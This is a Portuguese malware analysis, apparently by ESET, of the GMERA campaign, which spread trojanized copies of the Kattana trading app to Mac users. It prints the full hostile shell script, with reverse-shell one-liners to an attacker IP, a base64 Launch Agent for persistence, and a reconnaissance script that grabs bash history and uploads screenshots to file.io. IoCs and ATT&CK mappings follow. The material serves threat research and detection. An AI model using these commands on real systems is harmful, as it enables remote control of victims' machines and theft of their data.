Recentemente, descobrimos sites que distribuem aplicativos maliciosos usados para a compra e venda de criptomoedas direcionadas a usuários de dispositivos Mac. O malware usado tenta roubar informações, como cookies do navegador, carteiras de criptomoedas e produzir screenshots. Ao analisar as amostras do malware, descobrimos rapidamente que essa era uma nova campanha chamada pelos pesquisadores da Trend Micro como GMERA em uma análise publicada em setembro de 2019. Como nas campanhas anteriores, o malware se comunica com um servidor C&C através de HTTP e conecta sessões de terminal remotas a outro servidor C&C usando um endereço IP hardcodeado. No entanto, desta vez, os criadores do malware não apenas envolveram a ameaça em um aplicativo original e legítimo, mas também modificaram o nome do aplicativo de Trading Kattana e fizeram cópias do site original. Verificamos as seguintes marcas fictícias sendo usadas em diferentes campanhas: Cointrazer, Cupatrade, Licatrade e Trezarus. Além de analisar o código do malware, os pesquisadores da ESET também criaram honeypots para tentar identificar as motivações do grupo de cibercriminosos por trás desse código malicioso.

Distribuição

Ainda não conseguimos encontrar exatamente onde esses aplicativos trojanizados são promovidos. No entanto, em março de 2020, o app Kattana publicou um alerta sugerindo que as vítimas foram abordadas individualmente com a intenção de induzi-las a baixar um aplicativo trojanizado. Não foi possível confirmar se esse app trojanizado tinham alguma relação com essa campanha em particular, mas isso pode ter ocorrido.

Figura 1. O app Kattana alerta, através do Twitter, sobre cópias trojanizadas do software.

Os sites copiados são configurados para fazer com que o download do aplicativo falso pareça legítimo. Portanto, para uma pessoa que não conhece o app Kattana, os sites aparentemente contam com um desenho legítimo.

Figura 2. Site original (legítimo) do app Kattana.

Figura 3. Site malicioso com o nome do Licatrade que contém um link para baixar o malware.

O botão de download nos sites falsos é um link para um arquivo ZIP que contém o pacote de aplicativos trojanizados.

Análise

A análise do malware neste caso é bem simples. Usaremos a amostra do Licatrade como exemplo para esse caso. Outras amostras têm pequenas diferenças, mas as ideias e as funcionalidades são essencialmente as mesmas. Análises semelhantes de campanhas anteriores do GMERA foram fornecidas nas publicações da Trend Micro e no relatório de malware para Mac de 2019 produzido pela Objective-See.

Figura 4. Conteúdo do pacote do aplicativo Licatrade.

Quando baixamos o arquivo, tanto as modificações nos registros de data e hora dos arquivos contidos no arquivo ZIP, assim como a data em que o aplicativo foi assinado e a última modificação (Last-Modified) do cabeçalho HTTP, indicam o dia 15 de abril de 2020. Portanto, tudo parece indicar que esta campanha começou nessa data.

Um script de shell (run.sh) é incluído nos recursos contidos no pacote de aplicativos. Esse executável principal, escrito em Swift, executa run.sh. Por algum motivo, o criador do malware duplicou a funcionalidade de enviar um relatório simples para um servidor C&C via HTTP e conectar-se a um host remoto via TCP, que fornece um shell remoto aos atacantes, tanto no executável main como no script shell. Uma funcionalidade adicional, apenas no script da shell, configura a persistência através da instalação de um Launch Agent.

Aqui está a fonte completa do script da Shell (reticências em strings mais longas e mais inofensivas):

#! /bin/bash

function remove_spec_char(){
	echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}

whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

 

É interessante observar que a persistência é interrompida na amostra do Licatrade: o conteúdo resultante do arquivo Launch Agent (.com.apple.system.plist) não está no formato da lista de propriedades, como o launchd espera, mas é a linha de comando para ser executado.

O conteúdo decodificado (reticências em strings longas) da variável $plist_text é:

echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'

 

Se executado, esse código abriria uma reverse shell da máquina vítima para um servidor controlado pelo atacante, mas ocorre uma falha no processo. Felizmente para os atacantes, a última linha do script da shell também inicia uma reverse shell no servidor.

A amostra Cointrazer, usada em campanhas do Licatrade, não sofre com esse problema: o Launch Agent é instalado e inicia com êxito quando o usuário realiza login.

As diversas reverse shell usadas ​​por esses operadores de malware se conectam a diferentes portas remotas, dependendo de como foram iniciadas. Todas as conexões não são criptografadas. Aqui está uma lista de portas, com base na amostra analisada do Licatrade.

TCP Port Where How
25733 Licatrade executable zsh in screen using ztcp
run.sh bash in screen using /dev/tcp
Launch Agent (Not working) bash in screen using /dev/tcp
25734 Licatrade executable zsh using ztcp
25735 Licatrade executable bash using /dev/tcp
25736 Licatrade executable bash in screen using /dev/tcp
25737 Licatrade executable bash in screen using /dev/tcp
25738 Licatrade executable zsh in screen using ztcp

Aqui estão alguns exemplos de linhas de comando usadas:

  • Bash na tela usando /dev/tcp:

screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'

  • zsh usando ztcp:

zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

O app Kattana com um nome diferente também é encontrado nos recursos do pacote do aplicativo. Queríamos ver se, além da alteração de nome e ícone no aplicativo, algum outro código foi alterado. Como o app Kattana solicita credenciais para plataformas de trading na hora de realizar negociações, verificamos se os campos de entrada foram alterados e se as credenciais foram exfiltradas de alguma forma. O Kattana é construído com o Electron, e os aplicativos Electron têm um arquivo app.asar, que contém o código JavaScript do aplicativo. Verificamos todas as alterações entre o aplicativo Kattana original e a cópia maliciosa do Licatrade e descobrimos que apenas os strings e imagens foram alterados.

Figura 5. Diferença parcial entre o Kattana e o Licatrade.

O Licatrade e seus recursos foram assinados usando o mesmo certificado, em que Andrey Novoselov foi estabelecido no campo nome, usando o ID do desenvolvedor M8WVDT659T. O certificado foi emitido pela Apple em 6 de abril de 2020. Foi revogado no mesmo dia em que notificamos a Apple sobre esse aplicativo malicioso.

Figura 6. Certificado usado para assinar o Licatrade.

Figura 7. O certificado do Licatrade foi revogado em 28 de maio de 2020.

Para cada uma das outras campanhas analisadas, um certificado diferente foi usado. Ambos já foram revogados pela Apple no momento em que iniciamos nossas análises. Veja o IoC ao final deste post para saber mais detalhes. É interessante notar que, no caso do Cointrazer, houve apenas uma diferença de 15 minutos entre o momento em que a Apple emitiu o certificado e os atores maliciosos o usaram para assinar o aplicativo trojanizado. Isso e o fato de não termos encontrado mais nada assinado com a mesma chave sugerem que eles obtiveram o certificado explicitamente para esse propósito.

Infraestrutura

O malware Licatrade estava disponível no site licatrade.com e o domínio do servidor C&C ao qual reporta via HTTP é stepbystepby.com. Ambos os domínios foram registrados usando o endereço de e-mail levistor777@gmail.com. A pesquisa de outros domínios registrados com esse endereço de e-mail revela o que parecem ser campanhas anteriores. Aqui está uma lista de domínios encontrados em amostras ou registrados com esse endereço de e-mail.

Domain name Registration date Comment
repbaerray.pw 2019-02-25 C&C server for HTTP report of Stockfolio app
macstockfolio.com 2019-03-03 Website distributing the malicious Stockfolio app
latinumtrade.com 2019-07-25 Website distributing the malicious Latinum app
trezarus.com 2019-06-03 Website distributing the malicious Trezarus app
trezarus.net 2019-08-07 #rowspan#
cointrazer.com 2019-08-18 Website distributing the malicious Cointrazer app
apperdenta.com 2019-08-18 Usage unknown
narudina.com 2019-09-23 Usage unknown
nagsrsdfsudinasa.com 2019-10-09 C&C server for HTTP report of Cointrazer app
cupatrade.com 2020-03-28 Website distributing the malicious Cupatrade app
stepbystepby.com 2020-04-07 C&C server for HTTP report of Licatrade app
licatrade.com 2020-04-13 Website distributing the malicious Licatrade app
creditfinelor.com 2020-05-29 Empty page, usage unknown
maccatreck.com 2020-05-29 Some authentication form

Tanto os sites quanto os servidores HTTP para C&C que recebem o primeiro relatório do malware estão hospedados atrás do Cloudflare.

Interações do honeypot

Para obter mais informações sobre as intenções desse grupo, configuramos honeypots a partir dos quais monitoramos todas as interações entre as reverse shell dos backdoors do GMERA e os operadores desse malware.

Não vimos nenhum comando C&C emitido pelo canal do servidor HTTP C&C. Tudo aconteceu através das reverse shell. Quando conectado pela primeira vez, o servidor C&C enviou um script curto para coletar o nome de usuário, a versão do macOS e a localização (com base no endereço IP externo) do dispositivo comprometido.

#! /bin/bash
function check() {
        if [ ! -f /private/var/tmp/.i ]; then
        write
    else
        if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
                   write
                fi
        fi
}
function write() {
        getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
    echo `whoami` > /private/var/tmp/.i
    echo `sw_vers -productVersion` >> /private/var/tmp/.i
    echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i

 

que enviou algo assim para os operadores:

jeremy
10.13.4
Bratislava
SK

 

A conexão TCP permanece aberta e aguarda mais comandos. No nosso caso, depois de um tempo, os operadores inspecionaram a máquina manualmente. Em vários de nossos honeypots, os comandos usados ​​para executar essa inspeção variaram. Parte disso estava apenas listando arquivos em todo o sistema de arquivos. Às vezes, eles copiavam e colavam um script codificado em base64, projetado para listar informações e revelar se trata-se de um honeypot ou um alvo interessante. O script é decodificado e, em seguida, canalizado para o bash.

Figura 8. Screenshot do pacote no qual o operador envia o script de reconhecimento secundário codificado em base64.

Aqui está o script decodificado:

echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io

 

Na verdade, esse script é muito semelhante ao arquivo de plug-in encontrado em uma das amostras do Stockfolio analisadas no ano passado. No entanto, nas campanhas mais recentes, eles escolheram enviar o script de reconhecimento pela rede apenas para vítimas interessantes. Também foi atualizado para incluir informações adicionais.

Figura 9. Relatório de saída que seria visto no terminal de um operador (reconstruído a partir do screenshot dos pacotes).

Vamos revisar cada seção do script aqui:

  • Obtém o relatório completo sobre o IP externo no ipinfo.io.
  • Verifica o modelo do seu Mac usando os últimos 4 dígitos do número de série do Mac e um serviço HTTP fornecido pela Apple para convertê-lo em um nome amigável como "MacBook Pro (Retina, 15 polegadas, final de 2013)". As máquinas virtuais provavelmente têm números de série inválidos e não mostram um padrão.
  • Fornece informações sobre a versão instalada do macOS. Há um vermelho bastante grande (usando a sequência de escape ANSI), todas as letras maiúsculas avisam quando o computador está executando o macOS Catalina (10.15).
  • Verifica quando o macOS foi instalado usando o tempo de modificação /var/db/.AppleSetupDone.
  • Fornece informações sobre o uso do disco e detalhes dos monitores conectados.
  • Lista as redes Wi-Fi disponíveis. O honeypots provavelmente tenha o Wi-Fi desativado.
  • Detecta se o computador é uma máquina virtual VMware, Parallels ou VirtualBox, examinando as sequências de strings dos fornecedores de dispositivos conectados.
  • Verifica se editores de texto comuns ou aplicativos IDE estão instalados e avisa aos operadores para "serem cuidadosos" (sic), já que a vítima pode ter mais conhecimentos tecnológicos do que o habitual.
  • Obtém os 20 primeiros comandos (ou seja, os mais antigos) no arquivo de histórico do bash.
  • Finalmente, produz um screenshot, redimensiona o mesmo e faz o upload para file.io. Verifica se o sistema está executando o macOS Catalina antes de iniciar o processo, mas um erro de script torna essa verificação inútil. O operador de controle "&", que inicia comandos paralelos, é usado no lugar do operador lógico AND ("&&"). Isso significa que o screenshot é feito independentemente da versão do macOS.

O fato de um screenshot não ter sido produzido no Catalina e de que um sinal de aviso óbvio seja exibido no terminal do operador nos fez pensar por que eles agem de maneira diferente na versão atual do macOS. Acontece que o Catalina adicionou uma função em que a gravação na tela ou o screenshot devem ser aprovados pelo usuário para cada aplicativo. Tentamos fazer um screenshot do reverse shell no Catalina e recebemos o seguinte aviso em nossa sandbox, o que é bastante suspeito, considerando que um aplicativo comercial não precisa exibir uma mensagem como esta.

Figura 10. Aviso no macOS Catalina caso os operadores tentem produzir um screenshot.

Se um sistema comprometido é considerado interessante, a fase de exfiltração é iniciada. Os arquivos interessantes são compactados em um arquivo ZIP e enviados via HTTP para outro servidor, também sob o controle dos atacantes.

Figura 11. Screenshot do pacote de um operador usando a reverse shell para filtrar os cookies do navegador.

É curioso notar aqui que o arquivo /tmp/h.zip não existia. Talvez eles tenham copiado e colado algum comando que foi usado para outra vítima.

De acordo com a atividade que testemunhamos, concluímos que alguns dos interesses dos operadores desse malware são:

  • Informações do navegador (cookies, histórico)
  • Carteiras de criptomoedas
  • Screenshots

Conclusão

As diversas campanhas realizadas por esse grupo mostram o imenso esforço realizado no ano passado para atacar aos usuários do Mac que realizavam trading de forma on-line. Ainda não temos certeza de como alguém se torna vítima e consegue baixar um dos aplicativos trojanizados, mas a hipótese de que os operadores entram em contato diretamente com seus alvos e os convencem através de engenharia social a instalar o aplicativo malicioso pode ser a situação mais provável.

É interessante observar como a operação desse malware é mais limitada na versão mais recente do macOS. Não vimos os operadores tentando contornar a limitação de produzir screenshots. Além disso, acreditamos que a única maneira de ver a tela do computador de uma vítima executando o Catalina seja através da exfiltrar de screenshots existentes feitas pela vítima. Este é um bom exemplo de implementação de mitigação no sistema operacional que funcionou para limitar as atividades dos criminosos.

Indicadores de Comprometimento (IoCs)

Amostras

SHA-1 Filename ESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B Licatrade.zip multiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FA Licatrade.app/Contents/Resources/run.sh OSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CE Licatrade.app/Contents/MacOS/Licatrade OSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229 Cointrazer.zip multiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 Cointrazer.app/Contents/Resources/nytyntrun.sh OSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 Cointrazer.app/Contents/MacOS/Cointrazer OSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46 Stockfolio.zip multiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2C Stockfolio.app/Contents/MacOS/Stockfoli OSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023 Stockfolio.app/Contents/Resources/run.sh OSX/Agent.AZ

Certificado de assinatura de código

App name Fingerprint (SHA-1) Developer identity Valid from App signed on Revoked on
Stockfolio E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF Levis Toretto (9T4J9V8NV5) 2018-11-25 2019-04-18 2019-07-26
Cointrazer 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 Andrei Sobolev (A265HSB92F) 2019-10-17 2019-10-17 2020-04-16
Licatrade BDBD92BFF8E349452B07E5F1D2883678658404A3 Andrey Novoselov (M8WVDT659T) 2020-04-06 2020-04-15 2020-05-28

Redes

Nomes de domínio

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Endereços IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicadores baseados em host

Caminhos do arquivo

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent 

• com.apple.apps.upd
• com.apples.apps.upd

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Execution T1204 User Execution Victim needs to run the malicious application to be compromised.
T1059 Command-Line Interface GMERA provides reverse bash and zsh shells to its operators.
Persistence T1159 Launch Agent GMERA installs a Launch Agent to maintain persistence.
Defense Evasion T1116 Code Signing All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential Access T1139 Bash History A GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539 Steal Web Session Cookie GMERA’s operators steal browser cookies via a reverse shell.
Discovery T1083 File and Directory Discovery GMERA’s operators list files on the target system via a reverse shell and ls .
T1497 Virtualization/Sandbox Evasion A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040 Network Sniffing A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082 System Information Discovery A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518 Software Discovery A GMERA reconnaissance script checks whether developer tools are installed.
Collection T1005 Data from Local System GMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113 Screen Capture GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and Control T1043 Commonly Used Port Initial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065 Uncommonly Used Port GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
Exfiltration T1048 Exfiltration Over Alternative Protocol GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.